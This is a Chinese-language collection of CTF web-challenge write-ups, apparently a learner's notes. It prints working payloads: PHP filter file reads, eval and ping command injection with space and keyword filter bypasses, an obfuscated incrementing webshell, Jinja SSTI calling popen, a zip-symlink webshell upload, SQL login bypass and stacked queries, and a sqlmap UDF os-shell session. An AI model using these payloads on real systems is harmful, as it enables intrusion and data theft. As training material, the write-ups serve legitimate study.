攻防世界 php2

image-20251220165209425

页面提示,你能完成身份验证吗?感觉一般与密码有关系,但是浏览器页面看不出什么东西,抓包也没有异常;

这里的重点就是要访问index.phps可以得到php源码,因为.phps就是php的源代码文件,用户无法直接通过浏览器查看源码内容,所以需要.phps文件代替。

image-20260111195108376

image-20251220165527763

这里就有了源码了;

这里的限制条件就是不允许传的直接就是admin,但是由于后面判断是admin两次判断之间出现了一次URL解码,所以我们这里传入的admin,应该经过了编码操作的admin;

我们这里需要编两次码,如果只编一次码,在php里面就给你解码成admin了。

image-20251220170309056

NSSCTF [SWPUCTF 2021 新生赛]jicao

查看源码:

image-20251220173155268

这里主要就是出现了json_decode(),后面要用到json[‘x’]也就是关联数组,我们如果要经过json_decode过后是一个关联数组,那我们就得在json顶层为{}而非[],那么json的传参就解决了:

?json={“x”:”wllm”}

[ACTF2020 新生赛]Include

进入题目:

image-20251220223705808有一个tips,我们点进去:

image-20251220223721856

URL的地方自己就变成了flag.php;

这里传参应该与flag.php有关,但是页面并没有回显,结合这是一道文件包含的题目,应该可以用到伪协议;

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php;

[SWPUCTF 2021 新生赛]easyrce

image-20251220233340996

很简单的一道题,直接system(“ls /“)去找根目录下有什么,然后cat /flllllllaaaag

就可以了,需要注意的是我们这里直接cat flag不行,因为这代表我们直接本层目录cat flag这个文件,但是flag这个文件在根目录下,所以我们需要加上一个/

[SWPUCTF 2021 新生赛]caidao

其实和上一道题一模一样,只是post方法而已

image-20251220234114591

[第五空间 2021]WebFTP

进入页面发现是一个登陆的页面,看见登陆页面先想到sql注入了,但是试了下没什么用,然后尝试了抓包发现也没什么异常;

然后用dirsearch扫了一下这个网站,发现有phpinfo.php这个目录,然后访问一下,使用command+f打开搜索框,然后搜索flag,得到flag

image-20260111200133354

[SWPUCTF 2021 新生赛]ez_unserialize Zue3r

直接进入题目没有任何提示,先看了下源码,好像没发现什么异常,然后又抓包,也没发现什么;

后面想到了用dirsearch扫一下:

image-20260112165031347

直接去访问了一下flag.php发现页面没有反应,再换着访问了一下robots.txt,提示了一个/cl45s.php,访问它

进入题目界面:

image-20260112165238927

这里要让admin和passwd的值分别等于对应的值,使用get方法传参;

直接构造payload:

?p=O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}

ctfshow-RCE-eval执行

进入题目,发现这里cmd的值会直接被eval函数执行,所以直接传入想要执行的命令即可

img

$_REQUEST是内置的变量,包含了get方法,post方法,还有cookie的值,这里直接用get方法传参;

直接传入?cmd=system(“ls /“)直接看根目录:

有带有flag的目录,cat一下得到flag:

http://challenge-5d450e2221573c9c.sandbox.ctfhub.com:10800/?cmd=system(“cat /flag_21619”);

image-20260112171305546

[NISACTF 2022]easyssrf

image-20260112205651393

一开始没啥头绪,想了下用file;

image-20260112205830095

发现不行;在这里卡住了有点

看见网上说用本地试试:

image-20260112205955906

然后就ls到根目录;

提示ha1x1ux1u.php,访问;

Image Upload Service

<div class="upload-box">
    <form action="" method="POST" enctype="multipart/form-data">
        <label for="image" style="display: block; margin-bottom: 10px; font-weight: bold;">Select your image</label>
        <input type="file" name="image" id="image" accept=".jpg" required>
        <input class="btn" type="submit" value="Upload Image">
    </form>
</div>

<?php if ($message): ?>
    <p class="<?php echo (strpos($message, 'successfully') !== false) ? 'success-msg' : 'error-msg'; ?>">
        <?php echo htmlspecialchars($message); ?>
    </p>
<?php endif; ?>

<?php if ($uploaded_path): ?>
    <p class="success-msg" style="color: #333;">
        <?php echo $uploaded_path; ?>
    </p>
<?php endif; ?>

也就是说这里要检查你的content-type以及你的拓展名,然后继续随便传一个正常的试试呢,发现在首页访问我们传入的路径之后会有php报错

也就是说这里可能是直接把我们的传入的文件当做php文件直接执行,那我们就直接在图片里面写入命令

image-20260317212555006

image-20260317211406947

image-20260317212646089

当然这里应该是根目录下ls,这个是后面复现的时候做的,不要在意这些细节,然后重复上面的步骤命令执行就可以了

[SWPUCTF 2025 秋季新生赛]php命令执行

image-20260318154525325

当然这里直接这么传为编码的数据是不行的,因为我们的加号如果不编码,那么在这里就会被当做空格,所以我们必须把前面构造自增的部分编码了,否则payload不会生效

这里还对payload长度进行了限制,之间拿脚本跑的那个有点长了,干脆直接手搓了:

1
rce=$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$_;$___=$__++;$_++;$_++;$_++;$_++;$____=$_;$_____=++$_;$_=_.$__.$___.$____.$_____;$$_[_]($$_[__]);&_=system&__=nl /f*

下面来分析一下:

1
2
3
4
5
6
7
8
9
10
11
rce=$_=[]._;  #第一步,将$_赋值成一个Array_
$_=$_[_]; # 第二步,将$_这个数组的_元素赋值给$_,而这里的索引并非数字,那这里自动就是0,也就是数组的第一个元素A
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; # 疯狂自增,加到O,则此时$_=O
$__=$_; 赋值,$__=O
$___=$__++; 在$__=O的基础上,后置自增,也就是先赋值再自增,那这里$___=O之后,$__再自己偷偷自增拿到P
$_++;$_++;$_++;$_++;原本$_自增到o了,这里又自增一下得到s
$____=$_; 赋值给$___=S
$_____=++$_; 前置,先自增再赋值 $____=T
$_=_.$__.$___.$____.$_____; 最后进行拼接 $_=_POST
$$_[_]($$_[__]); $$_[_]($$_[__]);=$_POST[_]($_POST[__]);
&_=system&__=nl /f*

[SWPUCTF 2025 秋季新生赛]SIGN IN!

按着题目要求来就是了,但是要注意第二关改Cookie的时候要把本来的值个带上,不然要一直回到第一关,也就是在原本cookie的基础上加上个;再按题目要求来

[SWPUCTF 2025 秋季新生赛]sql仅仅只是sql吗?(udf提权)

这道题一开始在题目简介那里提示要用sqlmap,之前倒是还没用过这个工具,这道题就是依靠这个工具来做的

进入题目之后是一个查询页面:

简单查询之后发现这里是数字型,也就不存在什么包裹

image-20260318195047629

然后自己就一直在尝试注入,但是按着正常流程来拿不到正确的flag,而题目提示我们这里不只是SQL注入,然后我就卡着了

看了下wp,这里和UDF提权有关,再借助sqlmap一起实现命令执行

先了解一下什么事UDF提权:

UDF 的全称是 User Defined Function(用户自定义函数)。

MySQL 作为一个数据库,本身自带了很多功能函数,比如 md5()、concat()、version()。但是,总有些开发者觉得不够用,于是 MySQL 的设计者就留了一个“后门”: 允许开发者用 C 语言或者 C++ 自己写一段代码,编译成动态链接库(Windows 下是 .dll,Linux 下是 .so),然后加载进 MySQL 里,当成 MySQL 自带的内置函数来用。

这个机制的本意是为了方便扩展功能,比如有人想在数据库里直接做一个超复杂的财务计算,就可以写个 UDF。

就比如我们想要执行ls等操作,如果我们可以利用UDF去写入,那么我们就可以实现执行ls等命令

也就是说我们是利用这个机制把我们的东西塞到mysql数据库里面,而这个机制只有例如root身份等才可以使用,其他细致的原理这里就不赘述了

那么什么是udf提权呢?

如果 MySQL 服务在启动时,是以系统的最高权限(root 账户)运行的,那么你通过 UDF 执行的任何系统命令,也全部是 root 权限!

你原本只是一个利用网页漏洞(比如你刚才做的那个 ?id=1)进来的卑微 Web 用户(通常是 www-data),现在却利用 MySQL 的 UDF 功能,瞬间摇身一变成为了操作系统的“神”。这就叫提权(Privilege Escalation)。

能够执行提权的前置条件非常苛刻

  1. 当前用户已经拿到 MySQL 的权限(通常是 root)
  2. MySQL 进程运行权限较高(如 root)
  3. 有 文件写入权限(plugin_dir 目录)
  4. 可以使用 CREATE FUNCTION 创建函数(有 CREATE 权限)
  5. secure_file_priv是空

这道题我们先通过命令来查看我们登录mysql时是否是root用户:

  • sqlmap -u “http://node1.anna.nssctf.cn:28725/?id=1“ –random-agent –is-dba

  • --is-dba (核心目的:查户口)

    • 作用:DBA 是 Database Administrator(数据库管理员)的缩写。这个参数会让 sqlmap 在确认存在注入后,立刻去查一下当前连接数据库的账号是不是最高权限(比如 MySQL 里的 root)。
  • 当然这里前面还有个–random-agent,这个命令就是为了防止有些mysql库看见你是sqlmap来的直接给你ban了,所以加一个这个之后sqlmap会伪装成正常的浏览来的

这个命令如果返回了true,那么就说明我们这里是root用户

image-20260318201142466

那这里就可以执行了

在这里要熟悉sqlmap的操作:

image-20260318195532748

当然这里要用的命令上图是没有的

我们得知了我们是root之后,那我们句执行udf操作,如果手动操作就太复杂了,这里还是借用了sqlmap

sqlmap -u “http://node1.anna.nssctf.cn:28725/?id=1“ –random-agent –os-shell

--os-shell (终极杀招:获取系统命令行)

  • 作用:尝试在目标数据库所在的服务器上,弹出一个交互式的操作系统命令行(Shell)。
  • 底层逻辑(呼应我们刚刚讲过的知识): 当 sqlmap 发现存在注入漏洞时,它会立刻尝试两条路线来拿权限:
    1. 写木马路线:如果它能猜到网站的绝对路径(比如 /var/www/html/),并且数据库有写文件权限,它会用 SQL 语句写一个 PHP 一句话木马进去,然后通过这个木马帮你执行系统命令。
    2. UDF 提权路线:就像我们刚才聊的,如果写木马行不通,它就会尝试往 MySQL 的插件目录里塞一个 .so 动态链接库,创建一个自定义函数,利用数据库的底层机制直接执行系统命令

然后我们就可以实现随便的命令执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
┌──(kali㉿kali)-[/usr/share/sqlmap]
└─$ sqlmap -u "http://node1.anna.nssctf.cn:20775/?id=1" --random-agent --os-shell
___
__H__
___ ___[)]_____ ___ ___ {1.9.8#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:23:15 /2026-03-18/

[18:23:15] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[18:23:15] [INFO] resuming back-end DBMS 'mysql'
[18:23:15] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:
---

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6632=6632

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3083 FROM (SELECT(SLEEP(5)))pFEn)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x71786b7071,0x71636a646f46666f557479456e56594862524f4642597061786b6b54686471496b4a6a4c4d704a62,0x71786b7a71),NULL,NULL-- -

---

[18:23:15] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.20.2, PHP 7.3.33
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:23:15] [INFO] fingerprinting the back-end DBMS operating system
[18:23:15] [INFO] the back-end DBMS operating system is Linux
[18:23:15] [INFO] testing if current user is DBA
[18:23:15] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
2
[18:25:50] [INFO] checking if UDF 'sys_exec' already exist
[18:25:50] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[18:25:50] [INFO] checking if UDF 'sys_eval' already exist
[18:25:50] [INFO] detecting back-end DBMS version from its banner
[18:25:50] [INFO] retrieving MySQL plugin directory absolute path
[18:25:57] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[18:26:00] [INFO] the local file '/tmp/sqlmap1rgwz_dt3173002/lib_mysqludf_sysh20mswnh.so' and the remote file '/usr/lib/mariadb/plugin/libswtxq.so' have the same size (8040 B)
[18:26:00] [INFO] creating UDF 'sys_exec' from the binary UDF file
[18:26:01] [INFO] creating UDF 'sys_eval' from the binary UDF file
[18:26:01] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[18:26:01] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] y

command standard output:
---

09fdbc429d20.err
09fdbc429d20.pid
438f7373d0d4.err
438f7373d0d4.pid
anna5b55cd980a_sservice.err
anna5b55cd980a_sservice.pid
aria_log.00000001
aria_log_control
ctf
ddl_recovery-backup.log
ddl_recovery.log
ib_buffer_pool
ib_logfile0
ibdata1
ibtmp1
multi-master.info
mysql
mysql_upgrade_info
performance_schema
sys

test
---

os-shell> ls /
do you want to retrieve the command standard output? [Y/n/a] y

command standard output:
---

bin
dev
etc
fffffllllllaaaaagggg
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr

var
---

os-shell> cat /fffffllllllaaaaagggg
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'NSSCTF{928b0e77-a3d8-4c27-9ece-e60d22f1379c}'

[SWPUCTF 2025 秋季新生赛]我是复读机

这道题先进来的页面不准你用右键,同时还不准你开f12,我们直接在另外一个页面按f12然后把网址改过来就是了,打开源码就看见了源码里面有一个robots.txt

image-20260324194907468

显然这里是要我们去访问这个地方,我们访问一下到达一个嗲有输入框的页面,这里一眼ssti

image-20260324195002002

随便输入个什么会提示你你不是管理员,那这里还要想办法成为管理员才行,我们正常抓个包就发现这里有jwt

image-20260324195126206

那这里肯定就是要伪造jwt了,我原本直接拿flask-unsign暴力破解尝试直接拿到Secert的,但是整个字典都爆破完了都拿不到,这也是我第一次用这个工具,下面简单说明一下使用:
--decode解码 Cookie(看明文)

--unsign爆破密钥

--sign伪造 Cookie

-w指定密码字典

--no-literal-eval强制把密码当字符串(解决数字报错)

--help看帮助

解码 / 爆破用双引号,伪造用单引号

flask-unsign 就 3 个核心命令:

  1. 看内容:--decode --cookie "xxx"

  2. 破密钥:--unsign --cookie "xxx" -w 字典 --no-literal-eval

    flask-unsign –unsign –cookie “eyJ1c2VyIjoiZ3Vlc3QifQ.acJWng.3St36GzMoAtMnNBf1czept-J5Yc” -w /usr/share/wordlists/rockyou.txt –no-literal-eval

  3. 造管理员:--sign --cookie '{"user":"admin"}' --secret "密钥"

这里一直爆破不出来,后面才知道得去那个提示我们不是管理员的那个页面里面看源码就直接能看见密钥的值:
key:S4p3r_6arth_1s_Burning

我们本来的jwt解码出来是{“user”:”guest”}那我们想要伪造出admin就直接把guest换成admin然后伪造jwt就就可以了

之后我们把伪造的jwt放进去我们就可以进行ssti了,但是这道题仍然有问题,经过加单的测试发现这里有点过滤,而且过滤class,global,os关键字,我本来直接拿+去拼接的,但是在新版的flask里面➕的效果并不好,我笨来的payload是:

1
{{config['__cl'+'ass__']['__init__']['__glo'+'bals__']['o'+'s']['po'+'pen']('ls /')['re'+'ad']()}}

直接去config‘里面调用os,但是其实不是每个config里面都有os的,所以我这个payload没有执行成功

正确的payload:

提交表单完成,返回值为200,输入为payload=

1
{{((QAQ|attr('__eq__'))['__g''lobals__']['sys']['modules']['o''s']['po''pen'](('cat%20/f*')))['r''ead']()}}

polar-云中来信

这是一道要利用云元数据进行ssrf攻击的题目,题目的云字给了我们提示,所以这里我们要使用元数据攻击的方法

首先这亏要求我们只能访问白名单的域名,而我们是想攻击127.0.0.1内网的,我们直接拿@进行回环绕过

出现200说明这里成功了

image-20260324212535091

image-20260324212134655

然后因为这里是云服务器,所以我们访问/latest/meta-data

image-20260324212252308

image-20260324212312725

总之这道题跟着引导一步一步来就可以了

polar-狗黑子最后的起舞

这道题有点复杂,我们要一开始进入题目环境是一个什么都没有的页面

image-20260325151836940

我们拿dirsearch去扫,会有一个login.php和flag.php,我们去访问一会发现里面是一个登录界面,我们正常注册登录之后依旧没发现什么有用的东西

但是我们登录成功之后会发现url那里变成了是/ghzpolar/home.php,存在文件夹分割,那我们拿dirsearch再去扫描一遍就会发现很多的git文件

那这里可能就存在一个git泄露了,我们拿githacker看看能不能获取到什么

cd ~/OldGitHacker

python3 GitHack.py 你的靶场.git地址

然后就得到了gouheizi.php

我们读一下:

image-20260325152539970

代码解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

if (isset($_FILES['file'])) {

$f = $_FILES['file'];



if ($f['error'] === UPLOAD_ERR_OK) {

​ // 目标路径:/etc/时间戳.原文件名

​ $dest = '/etc/' . time() . '.' . basename($f['name']);

​

​ if (move_uploaded_file($f['tmp_name'], $dest)) {

​ $escapedDest = escapeshellarg($dest);

​ // 执行 unzip 解压

​ exec("unzip -o $escapedDest -d /etc/ 2>&1", $output, $code);

​

if ($code != 0) {

​ // 解压失败时再试一次(可能是代码冗余)



​ exec("unzip -o $escapedDest -d /etc/ 2>&1");

​ }

​

​ // 无论解压成功与否,删除原上传的 zip 文件

​ unlink($dest);

echo "ghz";

​ }

}

}

?>


步骤 操作

1 接收上传文件

2 将文件保存到 /etc/时间戳.原文件名

3 用 unzip 命令解压该文件到 /etc/ 目录

4 删除原上传的 zip 文件

5 输出 “ghz”

需要注意的是,这里解压的路径是/etc而非/var/www/html,所以我们传入一句话木马的话连接不上,我们需要先积极性软连接

第一句:ln -s /var/www/html hacker_dir

这句话的作用是**“造一座任意门(快捷方式)”**。

  • ln:这是 Linux 里的 link(链接)命令。它的本职工作是把两个文件或目录关联起来。
  • -s:这是最核心的参数,代表 symbolic(符号/软链接)。加了它,你创建的就是一个“快捷方式”。如果不加,创建的就是“硬链接”(相当于克隆实体),那就达不到我们的攻击目的了。
  • /var/www/html:这是目标地址。在绝大多数 Linux 网站服务器(比如 Apache 或 Nginx)里,网页代码默认都存放在这个目录下。我们让任意门的出口对准这里。
  • hacker_dir:这是你给这个任意门起的名字。

第二句:zip -y step1.zip hacker_dir

这句话的作用是**“把任意门打包,准备空投”**。

  • zip:这是 Linux 下极其常用的压缩命令。
  • -y:这是这道题能做成功的绝对灵魂参数!(英文全称是 --symlinks)。
    • 如果不加 -y 会怎样? zip 命令会极其“老实”。它看到 hacker_dir 是个通向网站根目录的门,它就会直接推门走进去,把网站里的所有网页、图片、数据库配置全都打包进压缩包里。这不仅包变得巨大,而且毫无攻击效果。
    • 加了 -y 会怎样? zip 命令会变得“表面化”。它不会推门进去,而是直接把这扇“门”(快捷方式)连门框一起打包进压缩包里。
  • step1.zip:这是你打包后生成的压缩包文件的名字,就是我们要传给靶机的那个炸弹。
  • hacker_dir:这是你要打包的目标(也就是咱们刚建好的那个门)。

image-20260325152916259

然后我们把step1.zip上传上去

之后我们要回到kali把hacker_dir给删除,

🚪 第一步的回顾:你建了一扇门

在 step1.zip 里,你传上去了一个叫 hacker_dir 的软链接(传送门)。 服务器把它解压在 /etc/ 目录下。 现在,服务器的 /etc/ 目录下,死死地钉着一扇门,门牌号叫 /etc/hacker_dir,而门背后直通网站根目录 /var/www/html。

📦 为什么第二步必须是同名文件夹?

当你制作第二个压缩包 step2.zip 时,如果你在里面建了一个同名的真实文件夹 hacker_dir,并把木马 shell.php 放在里面。这个压缩包内部的文件路径结构就是: hacker_dir/shell.php

重点来了!想象一下服务器执行 unzip -o step2.zip -d /etc/ 时的“心理活动”:

  1. 快递员(unzip 命令)拆开 step2.zip,看到里面有一个文件叫 shell.php,要求放在 hacker_dir 这个文件夹里。
  2. 快递员看了看收货地址是 /etc/,于是他拼凑出了最终的目的地:“我要把 shell.php 送到 /etc/hacker_dir/ 里面去。”
  3. 快递员跑到 /etc/ 目录一看,“咦?这里正好有一个叫 hacker_dir 的东西存在啊!”(这就是你第一步建的那个软链接)。
  4. 绝大多数旧版的 unzip 命令非常傻,它不会去检查这个 hacker_dir 到底是个真文件夹还是个快捷方式。它只会直接推门走进去!
  5. 结果,快递员一脚跨进了你设好的传送门,把木马 shell.php 吧唧一下扔在了传送门的终点:/var/www/html/shell.php!

木马成功降落到网站根目录,攻击完成!

image-20260325153157143

image-20260325153218148

image-20260325151720210

[HCTF 2018]WarmUp

进题目之后只有一个大笑脸,打开网页源代码就可以看见提示我们去source.php

image-20260402204407087

进来之后就出现了图片的源码,其实就是一个简单的目录穿越,我们去读hint.php知道了flag的名字,然后直接甩了五个../,实际上这里只需要四个就可以了,但是我们如果铁了心要到根目录的话完全可以甩个十个八个的

源码中的:

1
2
3
4
5
6
7
8
9
10
$_page = mb_substr(
$page, // 原始字符串(比如:index.php?id=1 或 中文页.php?a=1)
0, // 从第 0 个字符开始截取
mb_strpos($page . '?', '?') // 截取到「第一个 ? 出现的位置」停止
);





1. $page . '?'

给原字符串末尾强行拼一个 ?

目的:防止原字符串没有 ?,避免 mb_strpos 找不到返回 false 导致报错。

2. mb_strpos($page . '?', '?')

多字节安全查找 第一个 ? 的位置

(普通 strpos 不支持中文,mb_ 系列是 UTF-8 安全)

3. mb_substr(..., 0, 位置)

从开头截取到 第一个 ? 之前,得到纯路径。

1. $page . '?'

给原字符串末尾强行拼一个 ?

目的:防止原字符串没有 ?,避免 mb_strpos 找不到返回 false 导致报错。

2. mb_strpos($page . '?', '?')

多字节安全查找 第一个 ? 的位置

(普通 strpos 不支持中文,mb_ 系列是 UTF-8 安全)

3. mb_substr(..., 0, 位置)

从开头截取到 第一个 ? 之前,得到纯路径。

这里payload的原型本来是?file=source.php?../../../../../flaaaaaaaag但是在有些严格服务器里?是当做分隔符的,如果我们这里直接传入?在中间的话就会导致我们的执行出错误

好吧其实直接来也是可以的

image-20260402210057551

[极客大挑战 2019]Havefun

直接传cat=dog就是

[极客大挑战 2019]EasySQL

这道题主要的考点就是使用万能密码:

image-20260403165528471

我们进来之后看见这样的页面,然后我们随便输入一个数据就提示我们输入错误,如果我们在username那里输入的数据后面加上一个单引号那么题目就会报错:

image-20260403165653511

那我们这里就可以推测这里应该是单引号闭合,但是我这里使用hackbar进行闭合注释等一系列常规的SQL注入流程,发现这里拿不到什么数据

这个时候就想到了万能密码

先上结论我们直接在username输入:

a’ or true #然后随便输一个密码就可以了

这里的万能密码其实和后台SQL查询语句有关

后台的查询语句大概是:
$username = $_POST[‘username’];
$password = $_POST[‘password’];

$sql = “SELECT * FROM users WHERE username = ‘$username’ AND password = ‘$password’”;
这里闭合我们假设是单引号是由我们上面的报错推测出来的,假设数据库里面存在一个账号是root ,对应密码是123,那当我们输入的是一个正确的账号密码时,后台就应该是:

1
SELECT * FROM users WHERE username = 'root' AND password = '123'

那我们输入的万能密码:a’ or ture #,然后随便输个密码111

那么我们的语句就会变成:

1
SELECT * FROM users WHERE username = 'a' or ture #' AND password = '111'

显然哦我们可以看见这里我们手动输入的单引号主动和查询语句自带的单引号闭合了

那么usernae=’a’就形成一个完整有效的查询,但是是否数据库有这条叫做a的账户我们是不知道的,但是我们后面跟了一个or true,or语句的执行逻辑就是前后只要有一个是真那么整个语句都是真,所以我们的username就成真了

然后我们紧跟了一个注释符#,这样后面的内容服务器鸟都不会鸟他,我们随便输入一个密码都显示我们是对的,拿到flag

image-20260403170915341

[ACTF2020 新生赛]Exec

一进入题目让我们输入地址ping

image-20260403172506750

直接127.0.0.1;命令执行就可以了

最终payload:

127.0.0.1;cat /flag

[LitCTF 2023]Ping

进来就是一个ping的界面,直接在分号后面命令执行会有弹窗告诉你不行,打开f12发现这里应该是有前端验证的,我们直接按f12再按f1打开设置在下面把禁用javascript打开,我们就可以命令执行了

image-20260403173936917

还有一种方法就是抓包然后在抓包的那里改就是了

[NSSCTF 2022 Spring Recruit]ezgame

f12直接打开preload就直接找到flag了

[GXYCTF2019]Ping Ping Ping

进入题目提示我们对ip进行get传参,我们传入127.0.0.1是可以的

image-20260403195633355

然后我们加上一个分号,进行命令执行,ls可以看见index.php和flag.php

然后就正常执行就会看见题目把空格ban了,这里来复习一下关于空格的过滤绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$IFS

  ${IFS}

  $IFS$1 //$1改成$加其他数字貌似都行

  <

  <>

  {cat,flag.php} //用逗号实现了空格功能

  %20

  %09

这里我们用大括号也是不行的,直接传$IFS也不行,那我们就用$IFS$1,然后又提示我们不能用flag,然后我就想到通配符,但是这里通配符也不行,然后我么那就想办法读一下index.php,就读到了以下:

image-20260403201407379

这里很多特殊符号进行了过滤,并且这里限制不允许flag出现并且这里的过滤比较严厉

preg_match(“/.*f.*l.*a.g./“, $ip)

1
2
3
4
5
6
7
8
9
/	正则开始 / 结束的分隔符
.* 匹配任意字符(字母、数字、符号、空格),0 个或多个
f 必须出现字母 f
.* f 后面可以跟任意东西
l 必须出现字母 l
.* l 后面可以跟任意东西
a 必须出现字母 a
.* a 后面可以跟任意东西
g 必须出现字母 g

也就是说只要出现了flag顺序的字符串,那么题目就会拦截,不管中间出现了什么

那我们就是用第一种方法,讲一个字母以变量的形式存在

payload:

1
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

然后我们打开网页源代码就可以看见了

当然我们这里还可以尝试反引号内联执行:

1
?ip=127.0.0.1;cat$IFS`ls`

image-20260403194642383

[SUCTF 2019]EasySQL(sql)

这道题讲真有点坑

首先进来是一个输入框架,我们随便输入什么数据就能发现大致的规律

-首先我们如果输入数字进去就会有回显

-但是我们要是输入字符串的话我们就得不到回显

一开始我也在这里卡了很久后来看了下网上的wp发现这里我们要对后端查询语句进行一个猜测

我们输入数字可以做到有回显,但是字母就不行那么我们就要想到这里应该会有或这个逻辑运算符,也就是||

为什么是这样呢?

我们可以看见当我们输入数字时,页面回显恒为1,在mysql中:

只有一种东西会固定返回 1/0:

布尔逻辑运算(OR 或 AND)

所以第一步锁定:

语句里一定有 || 或 &&

在我们这里无论输入什么数字都是返回1也就是真,那我们可以推测应该是一个||并且存在一个恒为真的语句使得我们一直返回1,然后这里还是一道题目,按常理说肯定是一个flag from flag,因为我们在做题这个flag字段总不可能是空的吧

那输入字母没有回显又怎么办呢?

这里我么那就可以想到我们的后台查询语句是没有单引号包裹的:MySQL 规则:

  • 不加单引号的字母 → 被当作【列名】
  • 不加单引号的数字 → 被当作【数值】

也就是说我们的查询语句是没有单引号在包裹的

那我们拼接一下查询语句:

1
select $_POST['query'] || flag from flag

我们就得到了这样的查询语句

我们正常堆叠注入使用show databases存在回显

show tables爆出来Flag

然后我们就想办法爆字段:

1
1;show colummns from Flag;

回显nonono那这里flag字段就应该是被ban了

上面我们已经猜测出了后台查询语句了那我们这里做文章了

方法1:

1
1;set sql_mod=PIPES_AS_CONCAT;select 1

那么我们的查询语句就变成了

1
select 1;set sql_mode=pipes_as_concat;select 1 || flag from flag

用分号把各个语句分开了,前面的1拿来给select占位,第二个语句的意思是把||从或的逻辑运算符改为连接符,相当于把它变成concat

然后第三个句子就是真正的查询语句

以上是法1,然后还有法2:

1
*,1

没错,法2的payload就是这么简短

后台的语句变为:

1
select *,1 || flag from flag

这里可以简要的理解为执行了两个查询,第一个就是* from Flag,第二个就是1 || flag from Flag

第一个自然就是查询所有数据这个不用说,第二个语句那个1其实就是拿去和||放一起免得报错不回显了

image-20260404134914585

[极客大挑战 2019]Secret File

进来之后是这个界面:

image-20260404154851330

我们打开f12发现有一个

image-20260404154918064

访问一下

image-20260404154935770

点击这个按钮

image-20260404154952396

然后我么你回到上一个按钮的界面然后在按按钮时抓包:
image-20260404155035035

访问一下:

image-20260404155105279

这里可以知道题目ban了一些字符,但是好像都没什么用啊,直接伪协议就读了

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

[RoarCTF 2019]Easy Calc(php字符串解析特性)

进入题目之后看见的是一个输入框,输入数字是可以的但是只要输入的是非数字那么就会显示不行,抓包之后看见有个calc.php我们去访问一下:

image-20260413164637990

于此同时我们打开最开始那个页面的网页源代码会发现作者告诉我们这里是会有waf的

我们先进行一个简单的代码审计发现这里是会把我们的空格以及通过制表符等绕过空格的方式去过滤掉空格,我们简单传参一下还是会发现这里只要给num传参的不是数字就会报错

这道题的考点其实php解析特性:

php字符串解析特性

PHP会将在URL或正文中的查询字符串转换为内部的$_GET或$_POST的关联数组。在PHP解析查询字符串的过程中,会将某些字符删除或者用下划线代替,了解这个过程中的具体解析方式有助于我们正确输入查询字符串。

下面附上几张图片便于理解

image-20260413165330017

image-20260413165339192

简而言之呢就是:

在查询字符串头部,空格和“+”会被删除。
在查询字符串中段,空格、“+”、“.”、“[”、“_”,都会被解析为下划线_
在查询字符串末段,空格被删除。

题目

回到这道题,我们明确的知道waf会对num变量进行严格的控制,那我们就要想办法让waf无法检测到非法内容的同时让我们的恶意代码能够后端php中执行

那这里我们就可以用到php字符串解析特性了,我们传参的时候直接:

1
? num=

此时因为waf是死盯着num参数的,我们在num参数前面加了一个空格,waf就找不到num了,这样我们就绕过了waf,而在后端php呢又因为它的解析特性使得它会删除掉在参数前的空格,所以这里我们实际传参的还是num

我们可以使用scandir()去扫描目录,scandir(‘.’)就是扫描当前目录,如果括号里面是chr那就不需要引号了,但是这个函数本身是不带回显的所以我们还是加上一个打印函数,print_r()就可以了

image-20260413163055220

image-20260413163148405

image-20260413163557229

当然这里是因为没过滤点,如果过滤了点的payload应该是:

1
?%20num=file_get_contents(base64_decode(L2YxYWdn))

当然还有很多其他的变种这里就不一个一个说了

[HCTF 2018]admin(flask-seesion伪造以及flask-unsign工具)

首先进入题目

image-20260413194843164

然后我们打开f12可以看见这里提示我们不是管理员

